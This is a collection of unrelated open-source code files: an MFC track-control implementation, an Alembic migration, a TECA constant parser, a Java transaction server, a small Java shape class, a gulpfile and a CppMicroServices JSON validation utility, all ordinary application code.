pts[] = {CPoint(X - 4, Y), CPoint(X, Y - 4), CPoint(X + 4, Y), CPoint(X + 4, Y + 4), CPoint(X - 4, Y + 4)}; pDC->Polygon(pts, 5); m_rcBlock = rc; return 1; } ////////////////////////////////////////////////////////////////////////// // CXTPTrackMarker IMPLEMENT_SERIAL(CXTPTrackMarker, CCmdTarget, VERSIONABLE_SCHEMA | _XTP_SCHEMA_CURRENT) CXTPTrackMarker::CXTPTrackMarker() { m_rcMarker.SetRectEmpty(); m_nPosition = 0; #ifdef _XTP_ACTIVEX EnableAutomation(); EnableTypeLib(); #endif } void CXTPTrackMarker::DoPropExchange(CXTPPropExchange* pPX) { PX_String(pPX, _T("Caption"), m_strCaption); PX_Int(pPX, _T("Position"), m_nPosition); } void CXTPTrackMarker::SetPosition(int nPosition) { CXTPTrackUndoManager* pUndoManager = m_pControl->GetUndoManager(); if (pUndoManager) { pUndoManager->AddUndoCommand(new CXTPTrackUndoSetMarkerPositionCommand(this, nPosition)); } m_nPosition = nPosition; if (m_pControl) { m_pControl->RedrawControl(); } } void CXTPTrackMarker::Remove() { CXTPTrackMarkers* pMarkers = m_pControl->GetMarkers(); pMarkers->Remove(this); } ////////////////////////////////////////////////////////////////////////// // CXTPTrackMarkers CXTPTrackMarkers::CXTPTrackMarkers(CXTPTrackControl* pControl) { m_pControl = pControl; #ifdef _XTP_ACTIVEX EnableAutomation(); EnableTypeLib(); #endif } CXTPTrackMarkers::~CXTPTrackMarkers() { for (int i = 0; i < m_arrMarkers.GetSize(); i++) { m_arrMarkers[i]->InternalRelease(); } m_arrMarkers.RemoveAll(); } CXTPTrackMarker* CXTPTrackMarkers::Add(int nPosition, LPCTSTR lpszCaption) { CXTPTrackMarker* pMarker = new CXTPTrackMarker(); pMarker->m_nPosition = nPosition; pMarker->m_strCaption = lpszCaption; return Add(pMarker); } CXTPTrackMarker* CXTPTrackMarkers::Add(CXTPTrackMarker* pMarker) { pMarker->m_pControl = m_pControl; m_arrMarkers.Add(pMarker); m_pControl->GetUndoManager()->AddUndoCommand(new CXTPTrackUndoAddMarkerCommand(pMarker)); m_pControl->RedrawControl(); return pMarker; } CXTPTrackMarker* CXTPTrackMarkers::GetAt(int nIndex) const { if (m_arrMarkers.GetSize() > nIndex) return m_arrMarkers[nIndex]; return NULL; } int CXTPTrackMarkers::IndexOf(CXTPTrackMarker* pMarker) { for (int i = 0; i < m_arrMarkers.GetSize(); i++) if (m_arrMarkers[i] == pMarker) return i; return -1; } void CXTPTrackMarkers::RemoveAt(int nIndex) { if (nIndex >= 0 && nIndex < m_arrMarkers.GetSize()) { m_pControl->GetUndoManager()->AddUndoCommand(new CXTPTrackUndoDeleteMarkerCommand(m_arrMarkers[nIndex])); m_arrMarkers[nIndex]->InternalRelease(); m_arrMarkers.RemoveAt(nIndex); } m_pControl->RedrawControl(); } void CXTPTrackMarkers::Remove(CXTPTrackMarker* pMarker) { RemoveAt(IndexOf(pMarker)); } void CXTPTrackMarkers::RemoveAll() { m_pControl->GetUndoManager()->StartGroup(); for (int i = 0; i < m_arrMarkers.GetSize(); i++) { m_pControl->GetUndoManager()->AddUndoCommand(new CXTPTrackUndoDeleteMarkerCommand(m_arrMarkers[i])); m_arrMarkers[i]->InternalRelease(); } m_pControl->GetUndoManager()->EndGroup(); m_arrMarkers.RemoveAll(); m_pControl->RedrawControl(); } int CXTPTrackMarkers::GetCount() const { return (int)m_arrMarkers.GetSize(); } int CXTPTrackMarkers::HitTest(CPoint pt) const { for (int i = (int)m_arrMarkers.GetSize() - 1; i >= 0; i--) { if (m_arrMarkers.GetAt(i)->GetRect().PtInRect(pt)) return i; } return -1; } void CXTPTrackMarkers::DoPropExchange(CXTPPropExchange* pPX) { CXTPPropExchangeEnumeratorPtr pEnumRecords(pPX->GetEnumerator(_T("Marker"))); if (pPX->IsStoring()) { int nCount = (int)GetCount(); POSITION pos = pEnumRecords->GetPosition((DWORD)nCount); for (int i = 0; i < nCount; i++) { CXTPTrackMarker* pMarker = GetAt(i); ASSERT(pMarker); CXTPPropExchangeSection sec(pEnumRecords->GetNext(pos)); PX_Object(&sec, pMarker, RUNTIME_CLASS(CXTPTrackMarker)); } } else { RemoveAll(); POSITION pos = pEnumRecords->GetPosition(); while (pos) { CXTPTrackMarker* pMarker = NULL; CXTPPropExchangeSection sec(pEnumRecords->GetNext(pos)); PX_Object(&sec, pMarker, RUNTIME_CLASS(CXTPTrackMarker)); if (!pMarker) AfxThrowArchiveException(CArchiveException::badClass); pMarker->m_pControl = m_pControl; m_arrMarkers.Add(pMarker); } } } ////////////////////////////////////////////////////////////////////////// // CXTPTrackSelectedBlocks CXTPTrackSelectedBlocks::CXTPTrackSelectedBlocks() { #ifdef _XTP_ACTIVEX EnableAutomation(); EnableTypeLib(); #endif } int CXTPTrackSelectedBlocks::GetCount() const { return (int)m_arrBlocks.GetSize(); } void CXTPTrackSelectedBlocks::Add(CXTPTrackBlock* pBlock) { for (int i = 0; i < m_arrBlocks.GetSize(); i++) if (m_arrBlocks[i] == pBlock) return; m_arrBlocks.Add(pBlock); } BOOL CXTPTrackSelectedBlocks::IsSelected(const CXTPTrackBlock* pBlock) const { for (int i = 0; i < m_arrBlocks.GetSize(); i++) if (m_arrBlocks[i] == pBlock) return TRUE; return FALSE; } CXTPTrackBlock* CXTPTrackSelectedBlocks::GetAt(int nIndex) const { if (nIndex >= 0 && nIndex < m_arrBlocks.GetSize()) return m_arrBlocks[nIndex]; return NULL; } void CXTPTrackSelectedBlocks::RemoveAll() { m_arrBlocks.RemoveAll(); } void CXTPTrackSelectedBlocks::RemoveAt(int nIndex) { if (nIndex >= 0 && nIndex < m_arrBlocks.GetSize()) m_arrBlocks.RemoveAt(nIndex); } void CXTPTrackSelectedBlocks::Remove(CXTPTrackBlock* pBlock) { for (int i = 0; i < m_arrBlocks.GetSize(); i++) { if (m_arrBlocks[i] == pBlock) { m_arrBlocks.RemoveAt(i); } } } #ifdef _XTP_ACTIVEX BEGIN_DISPATCH_MAP(CXTPTrackBlock, CCmdTarget) DISP_PROPERTY_EX_ID(CXTPTrackBlock, "Position", 1000, OleGetPosition, OleSetPosition, VT_I4) DISP_PROPERTY_EX_ID(CXTPTrackBlock, "Length", 1001, OleGetLength, OleSetLength, VT_I4) DISP_PROPERTY_EX_ID(CXTPTrackBlock, "Locked", 1002, OleGetLocked, OleSetLocked, VT_BOOL) DISP_PROPERTY_EX_ID(CXTPTrackBlock, "Color", 1003, OleGetColor, OleSetColor, VT_COLOR) DISP_PROPERTY_EX_ID(CXTPTrackBlock, "Tooltip", 1004, OleGetTooltip, OleSetTooltip, VT_BSTR) DISP_PROPERTY_EX_ID(CXTPTrackBlock, "DescriptionText", 1005, OleGetDescriptionText, OleSetDescriptionText, VT_BSTR) DISP_PROPERTY_EX_ID(CXTPTrackBlock, "HeightPercent", 1006, OleGetHeightPercent, OleSetHeightPercent, VT_R8) DISP_PROPERTY_EX_ID(CXTPTrackBlock, "VerticalAlignment", 1007, OleGetVerticalAlignment, OleSetVerticalAlignment, VT_I4) DISP_PROPERTY_EX_ID(CXTPTrackBlock, "MinLength", 1008, OleGetMinLength, OleSetMinLength, VT_I4) DISP_PROPERTY_EX_ID(CXTPTrackBlock, "MaxLength", 1009, OleGetMaxLength, OleSetMaxLength, VT_I4) DISP_PROPERTY_EX_ID(CXTPTrackBlock, "Item", 1010, OleGetItem, SetNotSupported, VT_DISPATCH) DISP_PROPERTY_EX_ID(CXTPTrackBlock, "Index", 1011, OleGetIndex, SetNotSupported, VT_I4) DISP_PROPERTY_EX_ID(CXTPTrackBlock, "IsKey", 1012, OleGetIsKey, SetNotSupported, VT_BOOL) DISP_PROPERTY_EX_ID(CXTPTrackBlock, "Caption", 1013, OleGetCaption, OleSetCaption, VT_BSTR) DISP_PROPERTY_EX_ID(CXTPTrackBlock, "Selected", 1014, IsSelected, Select, VT_BOOL) DISP_PROPERTY_EX_ID(CXTPTrackBlock, "HeightFixed", 1015, OleGetHeightFixed, OleSetHeightFixed, VT_I4) END_DISPATCH_MAP() // {ABC12CE5-E015-4f87-885D-DE3326A63BEA} static const GUID IID_ITrackBlock = { 0xabc12ce5, 0xe015, 0x4f87, { 0x88, 0x5d, 0xde, 0x33, 0x26, 0xa6, 0x3b, 0xea } }; BEGIN_INTERFACE_MAP(CXTPTrackBlock, CCmdTarget) INTERFACE_PART(CXTPTrackBlock, IID_ITrackBlock, Dispatch) END_INTERFACE_MAP() IMPLEMENT_OLETYPELIB_EX(CXTPTrackBlock, IID_ITrackBlock) int CXTPTrackBlock::OleGetPosition() { return m_nPosition; } void CXTPTrackBlock::OleSetPosition(int nPosition) { SetPosition(nPosition); if (m_pItem) m_pItem->RecalcLayout(); } int CXTPTrackBlock::OleGetLength() { return m_nLength; } void CXTPTrackBlock::OleSetLength(int nLength) { SetLength(nLength); if (m_pItem) m_pItem->RecalcLayout(); } BOOL CXTPTrackBlock::OleGetLocked() { return m_bLocked; } void CXTPTrackBlock::OleSetLocked(BOOL bLocked) { m_bLocked = bLocked; if (m_pItem) m_pItem->RedrawControl(); } COLORREF CXTPTrackBlock::OleGetColor() { return m_clrBlock; } void CXTPTrackBlock::OleSetColor(OLE_COLOR clr) { m_clrBlock = AxTranslateColor(clr); if (m_pItem) m_pItem->RedrawControl(); } BSTR CXTPTrackBlock::OleGetTooltip() { return m_strToolTip.AllocSysString(); } void CXTPTrackBlock::OleSetTooltip(LPCTSTR lpszTooltip) { m_strToolTip = lpszTooltip; } BSTR CXTPTrackBlock::OleGetDescriptionText() { return m_strDescription.AllocSysString(); } void CXTPTrackBlock::OleSetDescriptionText(LPCTSTR lpszDescription) { m_strDescription = lpszDescription; } BSTR CXTPTrackBlock::OleGetCaption() { return m_strCaption.AllocSysString(); } void CXTPTrackBlock::OleSetCaption(LPCTSTR lpszCaption) { m_strCaption = lpszCaption; if (m_pItem) m_pItem->RedrawControl(); } double CXTPTrackBlock::OleGetHeightPercent() { return m_dHeightPercent; } void CXTPTrackBlock::OleSetHeightPercent(double dHeightPercent) { m_dHeightPercent = dHeightPercent; if (m_pItem) m_pItem->RedrawControl(); } int CXTPTrackBlock::OleGetHeightFixed() { return m_nHeightFixed; } void CXTPTrackBlock::OleSetHeightFixed(int dHeightFixed) { m_nHeightFixed = dHeightFixed; if (m_pItem) m_pItem->RedrawControl(); } int CXTPTrackBlock::OleGetVerticalAlignment() { return m_nVerticalAlignment; } void CXTPTrackBlock::OleSetVerticalAlignment(int nVerticalAlignment) { m_nVerticalAlignment = nVerticalAlignment; if (m_pItem) m_pItem->RedrawControl(); } int CXTPTrackBlock::OleGetMinLength() { return m_nMinLength; } void CXTPTrackBlock::OleSetMinLength(int nMinLength) { m_nMinLength = nMinLength; } int CXTPTrackBlock::OleGetMaxLength() { return m_nMaxLength; } void CXTPTrackBlock::OleSetMaxLength(int nMaxLength) { m_nMaxLength = nMaxLength; } LPDISPATCH CXTPTrackBlock::OleGetItem() { return XTPGetDispatch(m_pItem); } int CXTPTrackBlock::OleGetIndex() { return m_nIndex; } BOOL CXTPTrackBlock::OleGetIsKey() { return IsKey(); } ////////////////////////////////////////////////////////////////////////// // BEGIN_DISPATCH_MAP(CXTPTrackMarker, CCmdTarget) DISP_PROPERTY_ID(CXTPTrackMarker, "Position", 1000, m_nPosition, VT_I4) DISP_PROPERTY_ID(CXTPTrackMarker, "Caption", 1001, m_strCaption, VT_BSTR) END_DISPATCH_MAP() // {ABC10CE5-E015-4f87-885D-DE3326A63BEA} static const GUID IID_ITrackMarker = { 0xabc10ce5, 0xe015, 0x4f87, { 0x88, 0x5d, 0xde, 0x33, 0x26, 0xa6, 0x3b, 0xea } }; BEGIN_INTERFACE_MAP(CXTPTrackMarker, CCmdTarget) INTERFACE_PART(CXTPTrackMarker, IID_ITrackMarker, Dispatch) END_INTERFACE_MAP() IMPLEMENT_OLETYPELIB_EX(CXTPTrackMarker, IID_ITrackMarker) ////////////////////////////////////////////////////////////////////////// // CXTPTrackMarkers BEGIN_DISPATCH_MAP(CXTPTrackMarkers, CCmdTarget) DISP_FUNCTION_ID(CXTPTrackMarkers, "Count", 1, OleGetItemCount, VT_I4, VTS_NONE) DISP_FUNCTION_ID(CXTPTrackMarkers, "Marker", DISPID_VALUE, OleGetItem, VT_DISPATCH, VTS_I4) DISP_FUNCTION_ID(CXTPTrackMarkers, "_NewEnum", DISPID_NEWENUM, OleNewEnum, VT_UNKNOWN, VTS_NONE) DISP_FUNCTION_ID(CXTPTrackMarkers, "Add", 2, OleAdd, VT_DISPATCH, VTS_I4 VTS_BSTR) DISP_FUNCTION_ID(CXTPTrackMarkers, "DeleteAll", 5, RemoveAll, VT_EMPTY, VTS_NONE) DISP_FUNCTION_ID(CXTPTrackMarkers, "RemoveAt", 6, Remove, VT_EMPTY, VTS_I4) END_DISPATCH_MAP() // {ABC11CE5-E015-4f87-885D-DE3326A63BEA} static const GUID IID_ITrackMarkers = { 0xabc11ce5, 0xe015, 0x4f87, { 0x88, 0x5d, 0xde, 0x33, 0x26, 0xa6, 0x3b, 0xea } }; BEGIN_INTERFACE_MAP(CXTPTrackMarkers, CCmdTarget) INTERFACE_PART(CXTPTrackMarkers, IID_ITrackMarkers, Dispatch) END_INTERFACE_MAP() IMPLEMENT_OLETYPELIB_EX(CXTPTrackMarkers, IID_ITrackMarkers) IMPLEMENT_ENUM_VARIANT(CXTPTrackMarkers) int CXTPTrackMarkers::OleGetItemCount() { return GetCount(); } LPDISPATCH CXTPTrackMarkers::OleGetItem(long nIndex) { if (nIndex >= 0 && nIndex < GetCount()) { return GetAt(nIndex)->GetIDispatch(TRUE); } AfxThrowOleException(E_INVALIDARG); return 0; } LPDISPATCH CXTPTrackMarkers::OleAdd(int Position, LPCTSTR lpszCaption) { CXTPTrackMarker* pMarker = Add(Position, lpszCaption); return XTPGetDispatch(pMarker); } ////////////////////////////////////////////////////////////////////////// // BEGIN_DISPATCH_MAP(CXTPTrackSelectedBlocks, CCmdTarget) DISP_FUNCTION_ID(CXTPTrackSelectedBlocks, "Count", 1, OleGetItemCount, VT_I4, VTS_NONE) DISP_FUNCTION_ID(CXTPTrackSelectedBlocks, "Block", DISPID_VALUE, OleGetItem, VT_DISPATCH, VTS_I4) DISP_FUNCTION_ID(CXTPTrackSelectedBlocks, "_NewEnum", DISPID_NEWENUM, OleNewEnum, VT_UNKNOWN, VTS_NONE) DISP_FUNCTION_ID(CXTPTrackSelectedBlocks, "DeleteAll", 5, RemoveAll, VT_EMPTY, VTS_NONE) END_DISPATCH_MAP() // {ABC23CE5-E015-4f87-885D-DE3326A63BEA} static const GUID IID_ITrackSelectedBlocks = { 0xabc23ce5, 0xe015, 0x4f87, { 0x88, 0x5d, 0xde, 0x33, 0x26, 0xa6, 0x3b, 0xea } }; BEGIN_INTERFACE_MAP(CXTPTrackSelectedBlocks, CCmdTarget) INTERFACE_PART(CXTPTrackSelectedBlocks, IID_ITrackSelectedBlocks, Dispatch) END_INTERFACE_MAP() IMPLEMENT_OLETYPELIB_EX(CXTPTrackSelectedBlocks, IID_ITrackSelectedBlocks) IMPLEMENT_ENUM_VARIANT(CXTPTrackSelectedBlocks) int CXTPTrackSelectedBlocks::OleGetItemCount() { return GetCount(); } LPDISPATCH CXTPTrackSelectedBlocks::OleGetItem(long nIndex) { if (nIndex >= 0 && nIndex < GetCount()) { return GetAt(nIndex)->GetIDispatch(TRUE); } AfxThrowOleException(E_INVALIDARG); return 0; } #endif
alysivji/github-adapter
migrations/versions/20200707_02-57-28__remove_redundant_columns.py
"""remove redundant columns Revision ID: 337517ec92c5 Revises: <KEY> Create Date: 2020-07-07 02:57:28.121225 """ from alembic import op import sqlalchemy as sa from sqlalchemy.dialects import postgresql # revision identifiers, used by Alembic. revision = "337517ec92c5" down_revision = "<KEY>" branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_column("github_summary_configuration", "timezone_info") op.drop_column("github_summary_configuration", "time_to_post") # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.add_column( "github_summary_configuration", sa.Column( "time_to_post", sa.VARCHAR(length=20), autoincrement=False, nullable=True ), ) op.add_column( "github_summary_configuration", sa.Column( "timezone_info", postgresql.JSON(astext_type=sa.Text()), autoincrement=False, nullable=True, ), ) # ### end Alembic commands ###
mhaseeb123/TECA
alg/teca_variant_array_operand.cxx
#include "teca_variant_array_operand.h" #include <cstdlib> #include <cerrno> namespace teca_variant_array_operand { // -------------------------------------------------------------------------- int resolver::get_constant(const char *s, p_teca_variant_array &c) { // match the length of the arrays already in the container // or fall back to a default length. mismatch will likely // cause a segv, the default length is only provided for // testing. unsigned long n = m_variables ? m_variables->size() ? m_variables->get(0)->size() : 1 : 1; // determine type and signedness from the last // 1 or 2 characters in the string unsigned int last = strlen(s) - 1; bool unsigned_type = false; if (s[last] == 'u') { if (last < 1) return -1; unsigned_type = true; --last; } // use cstdlib to make the conversion, check errno errno = 0; switch (s[last]) { case 'd': { double val = strtod(s, nullptr); if (errno) return -1; c = teca_double_array::New(n, val); return 0; break; } case 'f': { float val = strtof(s, nullptr); if (errno) return -1; c = teca_float_array::New(n, val); return 0; break; } case 'L': if (unsigned_type) { unsigned long long val = strtoull(s, nullptr, 0); if (errno) return -1; c = teca_unsigned_long_long_array::New(n, val); } else { long long val = strtoll(s, nullptr, 0); if (errno) return -1; c = teca_long_long_array::New(n, val); } return 0; break; case 'l': if (unsigned_type) { unsigned long val = strtoul(s, nullptr, 0); if (errno) return -1; c = teca_unsigned_long_array::New(n, val); } else { long val = strtol(s, nullptr, 0); if (errno) return -1; c = teca_long_array::New(n, val); } return 0; break; case 'i': { if (unsigned_type) { unsigned int val = strtoul(s, nullptr, 0); if (errno) return -1; c = teca_unsigned_int_array::New(n, val); } else { int val = strtol(s, nullptr, 0); if (errno) return -1; c = teca_int_array::New(n, val); } return 0; break; } case 's': { if (unsigned_type) { unsigned short val = strtoul(s, nullptr, 0); if (errno) return -1; c = teca_short_array::New(n, val); } else { short val = strtol(s, nullptr, 0); if (errno) return -1; c = teca_short_array::New(n, val); } return 0; break; } case 'c': { if (unsigned_type) { unsigned char val = strtoul(s, nullptr, 0); if (errno) return -1; c = teca_char_array::New(n, val); } else { char val = strtol(s, nullptr, 0); if (errno) return -1; c = teca_char_array::New(n, val); } return 0; break; } } // untyped expression, use float float val = strtof(s, nullptr); if (errno) return -1; c = teca_float_array::New(n, val); return 0; } };
wilsonjie/das
das-client/src/main/java/com/ppdai/das/core/TransactionServer.java
package com.ppdai.das.core; import java.sql.SQLException; import java.util.HashSet; import java.util.Map; import java.util.Set; import java.util.Timer; import java.util.TimerTask; import java.util.concurrent.Callable; import java.util.concurrent.ConcurrentHashMap; import com.ppdai.das.client.Hints; import com.ppdai.das.core.client.DalConnection; import com.ppdai.das.core.client.DalConnectionManager; import com.ppdai.das.core.client.DalTransaction; import com.ppdai.das.core.client.DalTransactionManager; import com.ppdai.das.core.configure.DataSourceConfigureConstants; import com.ppdai.das.core.datasource.DataSourceLocator; public class TransactionServer implements DataSourceConfigureConstants { private static final Map<String, DalTransaction> transactionMap = new ConcurrentHashMap<>(); private Timer cleanupTimer = new Timer("DAS Server Transaction Cleanup Timer", true); private TransactionIdGenerator generator; private final String hostAddress; private final String workId; private static final long SECOND = 1000; private static final long INITIAL_DELAY = 1 * SECOND; public static final long CLEAN_UP_INTERVAL = 10 * SECOND; public static final double REMOVE_SCALE = 1.1; private class CleanupTimerTask extends TimerTask { @Override public void run() { // We can use a ring to do this. // But we first get it done Set<String> ids = new HashSet<>(transactionMap.keySet()); for(String id: ids) { if(!transactionMap.containsKey(id)) continue; DalTransaction trans = transactionMap.get(id); if(isTimeout(trans)) cleanUp(id, trans); } } private boolean isTimeout(DalTransaction trans) { long curTime = System.currentTimeMillis(); // Do we add cool down time? return curTime > trans.getTimeoutTime(); } private void cleanUp(String id, DalTransaction trans) { try { DasConfigureFactory.getLogger().info("Start clean up transaction: " + id); trans.rollbackTransaction(); } catch (Throwable e) { DasConfigureFactory.getLogger().error("Error when rollback timeout transaction: " + id, e); } transactionMap.remove(id); } } /** * @param workerId Ip + port * @param connManager * @throws SQLException */ public TransactionServer(String hostAddress, String workId) throws SQLException { this.hostAddress = hostAddress; this.workId = workId; this.generator = new TransactionIdGenerator(); cleanupTimer.schedule(new CleanupTimerTask(), INITIAL_DELAY, CLEAN_UP_INTERVAL); } public int getCurrentCount() { return transactionMap.size(); } public TransactionId start(String appId, String logicDb, Hints hints) throws SQLException { DalConnectionManager connManager = locateConnectionManager(appId, logicDb, hints); //TODO check how HA work under this case DalConnection conn = connManager.getNewConnection(hints, true, EventEnum.EXECUTE, null); long timeout = DataSourceLocator.getDataSourceConfigure(conn.getMeta().getDataBaseKeyName().toLowerCase()).getIntProperty(REMOVEABANDONEDTIMEOUT, DEFAULT_REMOVEABANDONEDTIMEOUT) * SECOND; timeout = (long)(timeout * REMOVE_SCALE); DalTransaction transaction = new DalTransaction(conn, connManager.getLogicDbName(), timeout); TransactionId id = generator.getNextId(connManager.getLogicDbName(), transaction.getConnection().getDatabaseName(), transaction.getConnection().getShardId(), hostAddress, workId); transactionMap.put(id.getUniqueId(), transaction); transaction.startTransaction();//always 0 return id; } private DalConnectionManager locateConnectionManager(String appId, String logicDb, Hints hints) { return new DalConnectionManager(logicDb, DasConfigureFactory.getConfigure(appId)); } public void commit(String transactionId) throws SQLException { DalTransaction transaction = transactionMap.get(transactionId); if(transaction == null) throw new SQLException("calling endTransaction with empty ConnectionCache"); try { transaction.endTransaction(0);//always 0 }finally{ transactionMap.remove(transactionId); } } public void rollback(String transactionId) throws SQLException { DalTransaction transaction = transactionMap.get(transactionId); // Already handled in deeper level if(transaction == null) return; try { transaction.rollbackTransaction(); }finally{ transactionMap.remove(transactionId); } } public <T> T doInTransaction(String transactionId, Callable<T> transaction) throws Exception { if(transactionId == null) return transaction.call(); prepareTransaction(transactionId); try { return transaction.call(); }finally{ clearTransaction(); } } private void prepareTransaction(String transactionId) { DalTransactionManager.setCurrentTransaction(transactionMap.get(transactionId)); } private void clearTransaction() throws SQLException { DalTransactionManager.setCurrentTransaction(null); } }
VladimirMetodiev/JavaByH.Schildt
src/chapter7/shapes/ColourTriangle.java
<filename>src/chapter7/shapes/ColourTriangle.java<gh_stars>0 package chapter7.shapes; public class ColourTriangle extends Triangle { private String colour = null; protected ColourTriangle(String colour, double height, double width) { super(height, width); this.colour = colour; } public String getColour() { return colour; } public void setColour(String colour) { this.colour = colour; } void displayColour(){ System.out.printf("Triangle is: %s%n", colour); } }
Rudracool/MothercareExtensionDevelopmentTool
ExtensionDevelopmentTools-21.2.0/gulpfile.js
<reponame>Rudracool/MothercareExtensionDevelopmentTool /*jshint esversion: 6 */ 'use strict'; const fs = require('fs'); const path = require('path'); const HelpDisplay = require('./gulp/extension-mechanism/HelpDisplay'); const gulp = require('gulp'); const nsArgs = require('ns-args'); nsArgs.addHiddenParam('product', 'gulp'); const configurations = require('./gulp/extension-mechanism/configurations'); process.gulp_init_cwd = process.env.INIT_CWD || process.cwd(); process.gulp_dest = process.gulp_init_cwd; const config = configurations.getConfigs(); if(config.extensionMode) { if (['update-manifest', 'extension:update-manifest', 'extension:local', 'extension:deploy'].indexOf(process.argv[2]) !== -1) { require('./gulp/extension-mechanism/init')(); } } else { if (['update-manifest', 'theme:update-manifest', 'theme:local', 'theme:deploy'].indexOf(process.argv[2]) !== -1) { require('./gulp/extension-mechanism/init')(); } } // evaluate all gulp tasks files var baseTaskDir = path.resolve(__dirname, './gulp/tasks'); fs.readdirSync(baseTaskDir).forEach(function(task_name) { if (/\.js/.test(task_name)) { require(path.join(baseTaskDir, task_name.replace('.js', ''))); } }); /** * This simply defines help task which would produce usage * display for this gulpfile. */ gulp.task('help', async function() { return new HelpDisplay(); }); gulp.task('default', gulp.parallel('help'));
gitabhishekdp/CppMicroServices
compendium/tools/SCRCodeGen/Util.hpp
<reponame>gitabhishekdp/CppMicroServices /*============================================================================= Library: CppMicroServices Copyright (c) The CppMicroServices developers. See the COPYRIGHT file at the top-level directory of this distribution and at https://github.com/CppMicroServices/CppMicroServices/COPYRIGHT . Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. =============================================================================*/ #ifndef UTIL_HPP #define UTIL_HPP #include <algorithm> #include <array> #include <cctype> #include <fstream> #include <iterator> #include <sstream> #include <string> #include "json/json.h" namespace codegen { namespace util { class JsonValueValidator { public: template<size_t S> using ValidChoices = std::array<std::string, S>; // Throw if the Json::Value // - data[name] doesn't exist // - data[name] is empty // - data[name] is not of the type specified by type. JsonValueValidator(const Json::Value& data, std::string name, Json::ValueType type) : jsonName(std::move(name)) , msg("Invalid value for the name '" + jsonName + "'. Expected ") { jsonVal = data[jsonName.c_str()]; if (Json::Value::nullRef == jsonVal) { std::string msg = "Mandatory name '" + jsonName + "' missing from the manifest"; throw std::runtime_error(msg); } Validate(type); } // If data[name] exists, check if it is // - a non-empty string, and // - present in the choices array. // Otherwise, throw. // If data[name] doesn't exist, the first item in the choices array (default value) // will be returned by the operator() member function. template<std::size_t S> JsonValueValidator(const Json::Value& data, std::string name, const ValidChoices<S>& choices) : jsonName(std::move(name)) , msg("Invalid value for the name '" + jsonName + "'. Expected ") { static_assert(S > 0, "Choices cannot be empty!"); jsonVal = data[jsonName.c_str()]; if (Json::Value::nullRef == jsonVal) { jsonVal = choices.front(); return; } Validate(Json::ValueType::stringValue); auto value = jsonVal.asString(); // The cast is to help the compiler resolve the correct overload. // Refer: https://stackoverflow.com/questions/7131858/stdtransform-and-toupper-no-matching-function/7131881 std::transform( value.begin(), value.end(), value.begin(), [](unsigned char c) { return std::tolower(c); }); // Return true if string value == string b in a case-insensitive way. auto isCaseInsensitiveEqual = [&value](const std::string& b) { auto isCaseInsensitiveEqualChar = [](auto a, auto b) { return std::tolower(a) == std::tolower(b); }; if (value.length() == b.length()) { return std::equal( b.begin(), b.end(), value.begin(), isCaseInsensitiveEqualChar); } else { return false; } }; if (std::none_of(choices.begin(), choices.end(), isCaseInsensitiveEqual)) { std::ostringstream stream; stream << "Invalid value '" + value + "' for the name '" + jsonName + "'. "; stream << "The valid choices are : ["; std::copy(std::begin(choices), std::end(choices) - 1, std::ostream_iterator<std::string>(stream, ", ")); stream << choices.back() << "]"; throw std::runtime_error(stream.str()); } } // Return the Json value data[name] // (data and name are the Json data and name specified in the constructors) Json::Value operator()() const { return jsonVal; } // Return the string representation of the Json value data[name] // Throw if data[name] is not of Json String type // (data and name are the Json data and name specified in the constructors) std::string GetString() const { if (!jsonVal.isString()) { throw std::runtime_error("The JSON value for the name '" + jsonName + "' must be of type string"); } return jsonVal.asString(); } private: void Validate(Json::ValueType type) { switch (type) { case Json::ValueType::stringValue: if (!jsonVal.isString() || jsonVal.asString() == "") { msg.append("non-empty string"); throw std::runtime_error(msg); } break; case Json::ValueType::arrayValue: if (!jsonVal.isArray() || !jsonVal.size()) { msg.append("non-empty array"); throw std::runtime_error(msg); } break; case Json::ValueType::objectValue: if (!jsonVal.isObject() || !jsonVal.size()) { msg.append( "non-empty JSON object i.e. collection of name/value pairs"); throw std::runtime_error(msg); } break; case Json::ValueType::intValue: if (!jsonVal.isInt()) { msg.append("int"); throw std::runtime_error(msg); } break; case Json::ValueType::booleanValue: if (!jsonVal.isBool()) { msg.append("boolean"); throw std::runtime_error(msg); } break; default: throw std::runtime_error("Unsupported type!"); } } std::string jsonName; std::string msg; Json::Value jsonVal; }; // Parse the manifest specified in the istream jsonStream. // Return the root JSON value. // Throw if the parsing isn't successful (such as presence of duplicate keys) Json::Value ParseManifestOrThrow(std::istream& jsonStream); // Write content to a file specified by the path filePath. // Throw if the file can't be opened. void WriteToFile(const std::string& filePath, const std::string& content); namespace detail { inline void replace(std::string& fmtstr, size_t index, const std::string& s) { size_t pos = 0; std::string anchor = "{" + std::to_string(index) + "}"; while (std::string::npos != pos) { pos = fmtstr.find(anchor, pos); if (std::string::npos != pos) { fmtstr.replace(pos, anchor.size(), s); pos += s.size(); } } } inline void substitute(std::string&, size_t) {} template<typename T, typename... Args> void substitute(std::string& src, size_t index, T& t, Args&... args) { replace(src, index, t); ++index; substitute(src, index, args...); } } // namespace detail // Given a string "src" with placeholders of form "{0}", "{1}", "{2}" // etc., substitute the arguments "args" into the string where the first // argument of "args" is substituted in place of "{0}", the second // argument of "args" is substituted in place of "{1}", and so on. // For example, substitute("foo {0} {1}", "bar", "baz"); will return // the string "foo bar baz" template<typename... Args> std::string Substitute(std::string src, Args... args) { detail::substitute(src, 0, args...); return src; } } // namespace util } // namespace codegen #endif // UTIL_HPP
laboratoriobridge/res-api-public
src/main/java/br/ufsc/bridge/res/dab/domain/ResABCriticidadeEnum.java
